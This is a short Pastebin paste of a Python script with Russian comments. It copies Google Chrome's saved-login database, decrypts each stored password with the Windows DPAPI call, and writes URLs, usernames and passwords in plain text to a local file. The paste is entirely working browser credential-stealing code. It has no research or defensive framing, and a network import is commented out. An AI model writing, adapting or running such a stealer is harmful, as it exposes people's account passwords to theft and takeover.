Advertisement
Guest User

Untitled

a guest
Jul 17th, 2019
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.37 KB | None | 0 0
  1. import os
  2. import sys
  3. import sqlite3
  4. import win32crypt
  5. import shutil
  6. #import requests
  7. import zipfile
  8.  
  9. def Chrome(): # Создаём функцию
  10.    text = 'URL | LOGIN | PASSWORD' + '\n' #  формат
  11.    if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'): # Ищем файл Login Data В
  12.        shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
  13.  
  14.        conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2') # Начинаем работать с sqlite базой
  15.        cursor = conn.cursor()
  16.        cursor.execute('SELECT action_url, username_value, password_value FROM logins') # Вытаскиваем Ссылку, логин, пароль
  17.        for result in cursor.fetchall():
  18.            password = win32crypt.CryptUnprotectData(result[2])[1].decode() # расшифровываем данные
  19.            login = result[1]
  20.            url = result[0]
  21.            if password != '':
  22.                text += url + ' | ' + login + ' | ' + password + '\n' # Добавляем данный в переменную
  23.    return text
  24.  
  25.  
  26. file = open('Passwords.txt_', "w+") #Сохраняем данныем в txt файл google_pass
  27. file.write(str(Chrome()))
  28. file.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement